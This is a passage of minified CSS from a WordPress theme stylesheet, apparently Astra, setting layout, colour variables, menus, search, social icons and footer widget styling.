8% 0 0;}.entry-content .wp-block-media-text.has-background .wp-block-media-text__content {padding: 8%;}.entry-content .wp-block-cover:not([class*="background-color"]):not(.has-text-color.has-link-color) .wp-block-cover__inner-container,.entry-content .wp-block-cover:not([class*="background-color"]) .wp-block-cover-image-text,.entry-content .wp-block-cover:not([class*="background-color"]) .wp-block-cover-text,.entry-content .wp-block-cover-image:not([class*="background-color"]) .wp-block-cover__inner-container,.entry-content .wp-block-cover-image:not([class*="background-color"]) .wp-block-cover-image-text,.entry-content .wp-block-cover-image:not([class*="background-color"]) .wp-block-cover-text {color: var(--ast-global-color-primary,var(--ast-global-color-5));}.wp-block-loginout .login-remember input {width: 1.1rem;height: 1.1rem;margin: 0 5px 4px 0;vertical-align: middle;}.wp-block-latest-posts > li > *:first-child,.wp-block-latest-posts:not(.is-grid) > li:first-child {margin-top: 0;}.entry-content > .wp-block-buttons,.entry-content > .wp-block-uagb-buttons {margin-bottom: 1.5em;}.wp-block-search__inside-wrapper .wp-block-search__input {padding: 0 10px;color: var(--ast-global-color-3);background: var(--ast-global-color-primary,var(--ast-global-color-5));border-color: var(--ast-border-color);}.wp-block-latest-posts .read-more {margin-bottom: 1.5em;}.wp-block-search__no-button .wp-block-search__inside-wrapper .wp-block-search__input {padding-top: 5px;padding-bottom: 5px;}.wp-block-latest-posts .wp-block-latest-posts__post-date,.wp-block-latest-posts .wp-block-latest-posts__post-author {font-size: 1rem;}.wp-block-latest-posts > li > *,.wp-block-latest-posts:not(.is-grid) > li {margin-top: 12px;margin-bottom: 12px;}.ast-page-builder-template .entry-content[data-ast-blocks-layout] > .alignwide:where(:not(.uagb-is-root-container):not(.spectra-is-root-container)) > * {max-width: var(--wp--custom--ast-wide-width-size);}.ast-page-builder-template .entry-content[data-ast-blocks-layout] > .inherit-container-width > *,.ast-page-builder-template .entry-content[data-ast-blocks-layout] > *:not(.wp-block-group):where(:not(.uagb-is-root-container):not(.spectra-is-root-container)) > *,.entry-content[data-ast-blocks-layout] > .wp-block-cover .wp-block-cover__inner-container {max-width: none ;margin-left: auto;margin-right: auto;}.ast-page-builder-template .entry-content[data-ast-blocks-layout] > *,.ast-page-builder-template .entry-content[data-ast-blocks-layout] > .alignfull:where(:not(.wp-block-group):not(.uagb-is-root-container):not(.spectra-is-root-container)) > * {max-width: none;}.entry-content[data-ast-blocks-layout] .wp-block-cover:not(.alignleft):not(.alignright) {width: auto;}@media(max-width: 1200px) {.ast-separate-container .entry-content > .alignfull,.ast-separate-container .entry-content[data-ast-blocks-layout] > .alignwide,.ast-plain-container .entry-content[data-ast-blocks-layout] > .alignwide,.ast-plain-container .entry-content .alignfull {margin-left: calc(-1 * min(var(--ast-container-default-xlg-padding),20px)) ;margin-right: calc(-1 * min(var(--ast-container-default-xlg-padding),20px));}}@media(min-width: 1201px) {.ast-separate-container .entry-content > .alignfull {margin-left: calc(-1 * var(--ast-container-default-xlg-padding) );margin-right: calc(-1 * var(--ast-container-default-xlg-padding) );}.ast-separate-container .entry-content[data-ast-blocks-layout] > .alignwide,.ast-plain-container .entry-content[data-ast-blocks-layout] > .alignwide {margin-left: auto;margin-right: auto;}}@media(min-width: 921px) {.ast-separate-container .entry-content .wp-block-group.alignwide:not(.inherit-container-width) > :where(:not(.alignleft):not(.alignright)),.ast-plain-container .entry-content .wp-block-group.alignwide:not(.inherit-container-width) > :where(:not(.alignleft):not(.alignright)) {max-width: calc( var(--wp--custom--ast-content-width-size) + 80px );}.ast-plain-container.ast-right-sidebar .entry-content[data-ast-blocks-layout] .alignfull,.ast-plain-container.ast-left-sidebar .entry-content[data-ast-blocks-layout] .alignfull {margin-left: -60px;margin-right: -60px;}}@media(min-width: 544px) {.entry-content > .alignleft {margin-right: 20px;}.entry-content > .alignright {margin-left: 20px;}}@media (max-width:544px){.wp-block-columns .wp-block-column:not(:last-child){margin-bottom:20px;}.wp-block-latest-posts{margin:0;}}@media( max-width: 600px ) {.entry-content .wp-block-media-text .wp-block-media-text__content,.entry-content .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content {padding: 8% 0 0;}.entry-content .wp-block-media-text.has-background .wp-block-media-text__content {padding: 8%;}}.ast-page-builder-template .entry-header {padding-left: 0;}.ast-narrow-container .site-content .wp-block-uagb-image--align-full .wp-block-uagb-image__figure {max-width: 100%;margin-left: auto;margin-right: auto;}.entry-content ul,.entry-content ol {padding: revert;margin: revert;padding-left: 20px;}:root .has-ast-global-color-0-color{color:var(--ast-global-color-0);}:root .has-ast-global-color-0-background-color{background-color:var(--ast-global-color-0);}:root .wp-block-button .has-ast-global-color-0-color{color:var(--ast-global-color-0);}:root .wp-block-button .has-ast-global-color-0-background-color{background-color:var(--ast-global-color-0);}:root .has-ast-global-color-1-color{color:var(--ast-global-color-1);}:root .has-ast-global-color-1-background-color{background-color:var(--ast-global-color-1);}:root .wp-block-button .has-ast-global-color-1-color{color:var(--ast-global-color-1);}:root .wp-block-button .has-ast-global-color-1-background-color{background-color:var(--ast-global-color-1);}:root .has-ast-global-color-2-color{color:var(--ast-global-color-2);}:root .has-ast-global-color-2-background-color{background-color:var(--ast-global-color-2);}:root .wp-block-button .has-ast-global-color-2-color{color:var(--ast-global-color-2);}:root .wp-block-button .has-ast-global-color-2-background-color{background-color:var(--ast-global-color-2);}:root .has-ast-global-color-3-color{color:var(--ast-global-color-3);}:root .has-ast-global-color-3-background-color{background-color:var(--ast-global-color-3);}:root .wp-block-button .has-ast-global-color-3-color{color:var(--ast-global-color-3);}:root .wp-block-button .has-ast-global-color-3-background-color{background-color:var(--ast-global-color-3);}:root .has-ast-global-color-4-color{color:var(--ast-global-color-4);}:root .has-ast-global-color-4-background-color{background-color:var(--ast-global-color-4);}:root .wp-block-button .has-ast-global-color-4-color{color:var(--ast-global-color-4);}:root .wp-block-button .has-ast-global-color-4-background-color{background-color:var(--ast-global-color-4);}:root .has-ast-global-color-5-color{color:var(--ast-global-color-5);}:root .has-ast-global-color-5-background-color{background-color:var(--ast-global-color-5);}:root .wp-block-button .has-ast-global-color-5-color{color:var(--ast-global-color-5);}:root .wp-block-button .has-ast-global-color-5-background-color{background-color:var(--ast-global-color-5);}:root .has-ast-global-color-6-color{color:var(--ast-global-color-6);}:root .has-ast-global-color-6-background-color{background-color:var(--ast-global-color-6);}:root .wp-block-button .has-ast-global-color-6-color{color:var(--ast-global-color-6);}:root .wp-block-button .has-ast-global-color-6-background-color{background-color:var(--ast-global-color-6);}:root .has-ast-global-color-7-color{color:var(--ast-global-color-7);}:root .has-ast-global-color-7-background-color{background-color:var(--ast-global-color-7);}:root .wp-block-button .has-ast-global-color-7-color{color:var(--ast-global-color-7);}:root .wp-block-button .has-ast-global-color-7-background-color{background-color:var(--ast-global-color-7);}:root .has-ast-global-color-8-color{color:var(--ast-global-color-8);}:root .has-ast-global-color-8-background-color{background-color:var(--ast-global-color-8);}:root .wp-block-button .has-ast-global-color-8-color{color:var(--ast-global-color-8);}:root .wp-block-button .has-ast-global-color-8-background-color{background-color:var(--ast-global-color-8);}:root{--ast-global-color-0:#046bd2;--ast-global-color-1:#045cb4;--ast-global-color-2:#1e293b;--ast-global-color-3:#334155;--ast-global-color-4:#FFFFFF;--ast-global-color-5:#F0F5FA;--ast-global-color-6:#111111;--ast-global-color-7:#D1D5DB;--ast-global-color-8:#111111;}:root {--ast-border-color : var(--ast-global-color-7);}.ast-archive-entry-banner {-js-display: flex;display: flex;flex-direction: column;justify-content: center;text-align: center;position: relative;background: var(--ast-title-layout-bg);}.ast-archive-entry-banner[data-banner-width-type="custom"] {margin: 0 auto;width: 100%;}.ast-archive-entry-banner[data-banner-layout="layout-1"] {background: inherit;padding: 20px 0;text-align: left;}body.archive .ast-archive-description{max-width:1200px;width:100%;text-align:left;padding-top:3em;padding-right:3em;padding-bottom:3em;padding-left:3em;}body.archive .ast-archive-description .ast-archive-title,body.archive .ast-archive-description .ast-archive-title *{font-weight:600;font-size:32px;font-size:2rem;}body.archive .ast-archive-description > *:not(:last-child){margin-bottom:10px;}@media (max-width:921px){body.archive .ast-archive-description{text-align:left;}}@media (max-width:544px){body.archive .ast-archive-description{text-align:left;}}.ast-breadcrumbs .trail-browse,.ast-breadcrumbs .trail-items,.ast-breadcrumbs .trail-items li{display:inline-block;margin:0;padding:0;border:none;background:inherit;text-indent:0;text-decoration:none;}.ast-breadcrumbs .trail-browse{font-size:inherit;font-style:inherit;font-weight:inherit;color:inherit;}.ast-breadcrumbs .trail-items{list-style:none;}.trail-items li::after{padding:0 0.3em;content:"\00bb";}.trail-items li:last-of-type::after{display:none;}h1,h2,h3,h4,h5,h6,.entry-content :where(h1,h2,h3,h4,h5,h6){color:var(--ast-global-color-2);}.entry-title a{color:var(--ast-global-color-2);}@media (max-width:921px){.ast-builder-grid-row-container.ast-builder-grid-row-tablet-3-firstrow .ast-builder-grid-row > *:first-child,.ast-builder-grid-row-container.ast-builder-grid-row-tablet-3-lastrow .ast-builder-grid-row > *:last-child{grid-column:1 / -1;}}@media (max-width:544px){.ast-builder-grid-row-container.ast-builder-grid-row-mobile-3-firstrow .ast-builder-grid-row > *:first-child,.ast-builder-grid-row-container.ast-builder-grid-row-mobile-3-lastrow .ast-builder-grid-row > *:last-child{grid-column:1 / -1;}}.ast-builder-layout-element[data-section="title_tagline"]{display:flex;}@media (max-width:921px){.ast-header-break-point .ast-builder-layout-element[data-section="title_tagline"]{display:flex;}}@media (max-width:544px){.ast-header-break-point .ast-builder-layout-element[data-section="title_tagline"]{display:flex;}}.ast-builder-menu-1{font-family:inherit;font-weight:inherit;}.ast-builder-menu-1 .menu-item > .menu-link{color:var(--ast-global-color-3);}.ast-builder-menu-1 .menu-item > .ast-menu-toggle{color:var(--ast-global-color-3);}.ast-builder-menu-1 .menu-item:hover > .menu-link,.ast-builder-menu-1 .inline-on-mobile .menu-item:hover > .ast-menu-toggle{color:#ffae00;}.ast-builder-menu-1 .menu-item:hover > .ast-menu-toggle{color:#ffae00;}.ast-builder-menu-1 .menu-item.current-menu-item > .menu-link,.ast-builder-menu-1 .inline-on-mobile .menu-item.current-menu-item > .ast-menu-toggle,.ast-builder-menu-1 .current-menu-ancestor > .menu-link{color:var(--ast-global-color-6);}.ast-builder-menu-1 .menu-item.current-menu-item > .ast-menu-toggle{color:var(--ast-global-color-6);}.ast-builder-menu-1 .sub-menu,.ast-builder-menu-1 .inline-on-mobile .sub-menu{border-top-width:2px;border-bottom-width:0px;border-right-width:0px;border-left-width:0px;border-color:var(--ast-global-color-0);border-style:solid;width:743px;}.ast-builder-menu-1 .sub-menu .sub-menu{top:-2px;}.ast-builder-menu-1 .main-header-menu > .menu-item > .sub-menu,.ast-builder-menu-1 .main-header-menu > .menu-item > .astra-full-megamenu-wrapper{margin-top:0px;}.ast-desktop .ast-builder-menu-1 .main-header-menu > .menu-item > .sub-menu:before,.ast-desktop .ast-builder-menu-1 .main-header-menu > .menu-item > .astra-full-megamenu-wrapper:before{height:calc( 0px + 2px + 5px );}.ast-desktop .ast-builder-menu-1 .menu-item .sub-menu .menu-link{border-style:none;}@media (max-width:921px){.ast-header-break-point .ast-builder-menu-1 .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}.ast-builder-menu-1 .inline-on-mobile .menu-item.menu-item-has-children > .ast-menu-toggle{right:-15px;}.ast-builder-menu-1 .menu-item-has-children > .menu-link:after{content:unset;}.ast-builder-menu-1 .main-header-menu > .menu-item > .sub-menu,.ast-builder-menu-1 .main-header-menu > .menu-item > .astra-full-megamenu-wrapper{margin-top:0;}}@media (max-width:544px){.ast-header-break-point .ast-builder-menu-1 .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}.ast-builder-menu-1 .main-header-menu > .menu-item > .sub-menu,.ast-builder-menu-1 .main-header-menu > .menu-item > .astra-full-megamenu-wrapper{margin-top:0;}}.ast-builder-menu-1{display:flex;}@media (max-width:921px){.ast-header-break-point .ast-builder-menu-1{display:flex;}}@media (max-width:544px){.ast-header-break-point .ast-builder-menu-1{display:flex;}}.ast-desktop .ast-menu-hover-style-underline > .menu-item > .menu-link:before,.ast-desktop .ast-menu-hover-style-overline > .menu-item > .menu-link:before {content: "";position: absolute;width: 100%;right: 50%;height: 1px;background-color: transparent;transform: scale(0,0) translate(-50%,0);transition: transform .3s ease-in-out,color .0s ease-in-out;}.ast-desktop .ast-menu-hover-style-underline > .menu-item:hover > .menu-link:before,.ast-desktop .ast-menu-hover-style-overline > .menu-item:hover > .menu-link:before {width: calc(100% - 1.2em);background-color: currentColor;transform: scale(1,1) translate(50%,0);}.ast-desktop .ast-menu-hover-style-underline > .menu-item > .menu-link:before {bottom: 0;}.ast-desktop .ast-menu-hover-style-overline > .menu-item > .menu-link:before {top: 0;}.ast-desktop .ast-menu-hover-style-zoom > .menu-item > .menu-link:hover {transition: all .3s ease;transform: scale(1.2);}.main-header-bar .main-header-bar-navigation .ast-search-icon {display: block;z-index: 4;position: relative;}.ast-search-icon .ast-icon {z-index: 4;}.ast-search-icon {z-index: 4;position: relative;line-height: normal;}.main-header-bar .ast-search-menu-icon .search-form {background-color: #ffffff;}.ast-search-menu-icon.ast-dropdown-active.slide-search .search-form {visibility: visible;opacity: 1;}.ast-search-menu-icon .search-form {border: 1px solid var(--ast-search-border-color);line-height: normal;padding: 0 3em 0 0;border-radius: 2px;display: inline-block;-webkit-backface-visibility: hidden;backface-visibility: hidden;position: relative;color: inherit;background-color: #fff;}.ast-search-menu-icon .astra-search-icon {-js-display: flex;display: flex;line-height: normal;}.ast-search-menu-icon .astra-search-icon:focus {outline: none;}.ast-search-menu-icon .search-field {border: none;background-color: transparent;transition: all .3s;border-radius: inherit;color: inherit;font-size: inherit;width: 0;color: #757575;}.ast-search-menu-icon .search-submit {display: none;background: none;border: none;font-size: 1.3em;color: #757575;}.ast-search-menu-icon.ast-dropdown-active {visibility: visible;opacity: 1;position: relative;}.ast-search-menu-icon.ast-dropdown-active .search-field,.ast-dropdown-active.ast-search-menu-icon.slide-search input.search-field {width: 235px;}.ast-header-search .ast-search-menu-icon.slide-search .search-form,.ast-header-search .ast-search-menu-icon.ast-inline-search .search-form {-js-display: flex;display: flex;align-items: center;}.ast-search-menu-icon.ast-inline-search .search-field {width : 100%;padding : 0.60em;padding-right : 5.5em;transition: all 0.2s;}.site-header-section-left .ast-search-menu-icon.slide-search .search-form {padding-left: 2em;padding-right: unset;left: -1em;right: unset;}.site-header-section-left .ast-search-menu-icon.slide-search .search-form .search-field {margin-right: unset;}.ast-search-menu-icon.slide-search .search-form {-webkit-backface-visibility: visible;backface-visibility: visible;visibility: hidden;opacity: 0;transition: all .2s;position: absolute;z-index: 3;right: -1em;top: 50%;transform: translateY(-50%);}.ast-header-search .ast-search-menu-icon .search-form .search-field:-ms-input-placeholder,.ast-header-search .ast-search-menu-icon .search-form .search-field:-ms-input-placeholder{opacity:0.5;}.ast-header-search .ast-search-menu-icon.slide-search .search-form,.ast-header-search .ast-search-menu-icon.ast-inline-search .search-form{-js-display:flex;display:flex;align-items:center;}.ast-builder-layout-element.ast-header-search{height:auto;}.ast-header-search .astra-search-icon{font-size:18px;}@media (max-width:921px){.ast-header-search .astra-search-icon{font-size:18px;}}@media (max-width:544px){.ast-header-search .astra-search-icon{font-size:18px;}}.ast-header-search{display:flex;}@media (max-width:921px){.ast-header-break-point .ast-header-search{display:flex;}}@media (max-width:544px){.ast-header-break-point .ast-header-search{display:flex;}}.ast-social-stack-desktop .ast-builder-social-element,.ast-social-stack-tablet .ast-builder-social-element,.ast-social-stack-mobile .ast-builder-social-element {margin-top: 6px;margin-bottom: 6px;}.social-show-label-true .ast-builder-social-element {width: auto;padding: 0 0.4em;}[data-section^="section-fb-social-icons-"] .footer-social-inner-wrap {text-align: center;}.ast-footer-social-wrap {width: 100%;}.ast-footer-social-wrap .ast-builder-social-element:first-child {margin-left: 0;}.ast-footer-social-wrap .ast-builder-social-element:last-child {margin-right: 0;}.ast-header-social-wrap .ast-builder-social-element:first-child {margin-left: 0;}.ast-header-social-wrap .ast-builder-social-element:last-child {margin-right: 0;}.ast-builder-social-element {line-height: 1;color: var(--ast-global-color-2);background: transparent;vertical-align: middle;transition: all 0.01s;margin-left: 6px;margin-right: 6px;justify-content: center;align-items: center;}.ast-builder-social-element .social-item-label {padding-left: 6px;}.ast-header-social-1-wrap .ast-builder-social-element svg{width:18px;height:18px;}.ast-header-social-1-wrap .ast-social-color-type-custom svg{fill:var(--ast-global-color-6);}.ast-header-social-1-wrap .ast-builder-social-element{background:var(--ast-global-color-4);}.ast-header-social-1-wrap .ast-social-color-type-custom .social-item-label{color:var(--ast-global-color-6);}.ast-builder-layout-element[data-section="section-hb-social-icons-1"]{display:flex;}@media (max-width:921px){.ast-header-break-point .ast-builder-layout-element[data-section="section-hb-social-icons-1"]{display:flex;}}@media (max-width:544px){.ast-header-break-point .ast-builder-layout-element[data-section="section-hb-social-icons-1"]{display:flex;}}.site-below-footer-wrap{padding-top:20px;padding-bottom:20px;}.site-below-footer-wrap[data-section="section-below-footer-builder"]{background-color:var(--ast-global-color-5);background-image:none;min-height:33px;}.site-below-footer-wrap[data-section="section-below-footer-builder"] .ast-builder-grid-row{grid-column-gap:9px;max-width:1200px;min-height:33px;margin-left:auto;margin-right:auto;}.site-below-footer-wrap[data-section="section-below-footer-builder"] .ast-builder-grid-row,.site-below-footer-wrap[data-section="section-below-footer-builder"] .site-footer-section{align-items:center;}.site-below-footer-wrap[data-section="section-below-footer-builder"].ast-footer-row-inline .site-footer-section{display:flex;margin-bottom:0;}.ast-builder-grid-row-full .ast-builder-grid-row{grid-template-columns:1fr;}@media (max-width:921px){.site-below-footer-wrap[data-section="section-below-footer-builder"].ast-footer-row-tablet-inline .site-footer-section{display:flex;margin-bottom:0;}.site-below-footer-wrap[data-section="section-below-footer-builder"].ast-footer-row-tablet-stack .site-footer-section{display:block;margin-bottom:10px;}.ast-builder-grid-row-container.ast-builder-grid-row-tablet-full .ast-builder-grid-row{grid-template-columns:1fr;}}@media (max-width:544px){.site-below-footer-wrap[data-section="section-below-footer-builder"].ast-footer-row-mobile-inline .site-footer-section{display:flex;margin-bottom:0;}.site-below-footer-wrap[data-section="section-below-footer-builder"].ast-footer-row-mobile-stack .site-footer-section{display:block;margin-bottom:10px;}.ast-builder-grid-row-container.ast-builder-grid-row-mobile-full .ast-builder-grid-row{grid-template-columns:1fr;}}.site-below-footer-wrap[data-section="section-below-footer-builder"]{padding-top:5px;padding-bottom:5px;padding-left:5px;padding-right:5px;}.site-below-footer-wrap[data-section="section-below-footer-builder"]{display:grid;}@media (max-width:921px){.ast-header-break-point .site-below-footer-wrap[data-section="section-below-footer-builder"]{display:grid;}}@media (max-width:544px){.ast-header-break-point .site-below-footer-wrap[data-section="section-below-footer-builder"]{display:grid;}}.ast-builder-html-element img.alignnone{display:inline-block;}.ast-builder-html-element p:first-child{margin-top:0;}.ast-builder-html-element p:last-child{margin-bottom:0;}.ast-header-break-point .main-header-bar .ast-builder-html-element{line-height:1.85714285714286;}.footer-widget-area[data-section="section-fb-html-1"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="section-fb-html-1"]{display:block;}}@media (max-width:544px){.ast-header-break-point .footer-widget-area[data-section="section-fb-html-1"]{display:block;}}.footer-widget-area[data-section="section-fb-html-1"] .ast-builder-html-element{text-align:center;}@media (max-width:921px){.footer-widget-area[data-section="section-fb-html-1"] .ast-builder-html-element{text-align:center;}}@media (max-width:544px){.footer-widget-area[data-section="section-fb-html-1"] .ast-builder-html-element{text-align:center;}}.site-above-footer-wrap{padding-top:20px;padding-bottom:20px;}.site-above-footer-wrap[data-section="section-above-footer-builder"]{background-color:#000000;background-image:none;min-height:60px;}.site-above-footer-wrap[data-section="section-above-footer-builder"] .ast-builder-grid-row{max-width:100%;padding-left:35px;padding-right:35px;}.site-above-footer-wrap[data-section="section-above-footer-builder"] .ast-builder-grid-row,.site-above-footer-wrap[data-section="section-above-footer-builder"] .site-footer-section{align-items:flex-start;}.site-above-footer-wrap[data-section="section-above-footer-builder"].ast-footer-row-inline .site-footer-section{display:flex;margin-bottom:0;}.ast-builder-grid-row-4-equal .ast-builder-grid-row{grid-template-columns:repeat( 4,1fr );}@media (max-width:921px){.site-above-footer-wrap[data-section="section-above-footer-builder"].ast-footer-row-tablet-inline .site-footer-section{display:flex;margin-bottom:0;}.site-above-footer-wrap[data-section="section-above-footer-builder"].ast-footer-row-tablet-stack .site-footer-section{display:block;margin-bottom:10px;}.ast-builder-grid-row-container.ast-builder-grid-row-tablet-4-equal .ast-builder-grid-row{grid-template-columns:repeat( 4,1fr );}}@media (max-width:544px){.site-above-footer-wrap[data-section="section-above-footer-builder"].ast-footer-row-mobile-inline .site-footer-section{display:flex;margin-bottom:0;}.site-above-footer-wrap[data-section="section-above-footer-builder"].ast-footer-row-mobile-stack .site-footer-section{display:block;margin-bottom:10px;}.ast-builder-grid-row-container.ast-builder-grid-row-mobile-full .ast-builder-grid-row{grid-template-columns:1fr;}}.site-above-footer-wrap[data-section="section-above-footer-builder"]{display:grid;}@media (max-width:921px){.ast-header-break-point .site-above-footer-wrap[data-section="section-above-footer-builder"]{display:grid;}}@media (max-width:544px){.ast-header-break-point .site-above-footer-wrap[data-section="section-above-footer-builder"]{display:grid;}}.site-footer{background-color:var(--ast-global-color-0);background-image:none;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"].footer-widget-area-inner{text-align:left;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"].footer-widget-area-inner{text-align:left;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"].footer-widget-area-inner{text-align:left;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"].footer-widget-area-inner{text-align:left;}.footer-widget-area.widget-area.site-footer-focus-item{width:auto;}.ast-footer-row-inline .footer-widget-area.widget-area.site-footer-focus-item{width:100%;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"].footer-widget-area-inner{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"].footer-widget-area-inner a{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"].footer-widget-area-inner a:hover{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-title,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] h6,.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"] .widget-area h6{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-1"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-1"]{display:block;}}@media (max-width:544px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-1"]{display:block;}}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"].footer-widget-area-inner{color:var(--ast-global-color-5);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"].footer-widget-area-inner a{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"].footer-widget-area-inner a:hover{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-title,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] h6,.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"] .widget-area h6{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-2"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-2"]{display:block;}}@media (max-width:544px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-2"]{display:block;}}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"].footer-widget-area-inner{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"].footer-widget-area-inner a{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"].footer-widget-area-inner a:hover{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-title,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] h6,.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"] .widget-area h6{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-3"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-3"]{display:block;}}@media (max-width:544px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-3"]{display:block;}}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"].footer-widget-area-inner{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"].footer-widget-area-inner a{color:var(--ast-global-color-4);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"].footer-widget-area-inner a:hover{color:var(--ast-global-color-0);}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-title,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h1,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h2,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h3,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h4,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h5,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] h6,.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"] .widget-area h6{color:#ffae00;}.footer-widget-area[data-section="sidebar-widgets-footer-widget-4"]{display:block;}@media (max-width:921px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-4"]{display:block;}}@media (max-width:544px){.ast-header-break-point .footer-widget-area[data-section="sidebar-widgets-footer-widget-4"]{display:block;}}.ast-header-break-point .main-header-bar{border-bottom-width:1px;}@media (min-width:922px){.main-header-bar{border-bottom-width:1px;}}.main-header-menu .menu-item, #astra-footer-menu .menu-item, .main-header-bar .ast-masthead-custom-menu-items{-js-display:flex;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-moz-box-orient:vertical;-moz-box-direction:normal;-ms-flex-direction:column;flex-direction:column;}.main-header-menu > .menu-item > .menu-link, #astra-footer-menu > .menu-item > .menu-link{height:100%;-webkit-box-align:center;-webkit-align-items:center;-moz-box-align:center;-ms-flex-align:center;align-items:center;-js-display:flex;display:flex;}.ast-header-break-point .main-navigation ul .menu-item .menu-link .icon-arrow:first-of-type svg{top:.2em;margin-top:0px;margin-left:0px;width:.65em;transform:translate(0, -2px) rotateZ(270deg);}.ast-mobile-popup-content .ast-submenu-expanded > .ast-menu-toggle{transform:rotateX(180deg);overflow-y:auto;}@media (min-width:922px){.ast-builder-menu .main-navigation > ul > li:last-child a{margin-right:0;}}.ast-separate-container .ast-article-inner{background-color:var(--ast-global-color-4);background-image:none;}@media (max-width:921px){.ast-separate-container .ast-article-inner{background-color:var(--ast-global-color-4);background-image:none;}}@media (max-width:544px){.ast-separate-container .ast-article-inner{background-color:var(--ast-global-color-4);background-image:none;}}.ast-separate-container 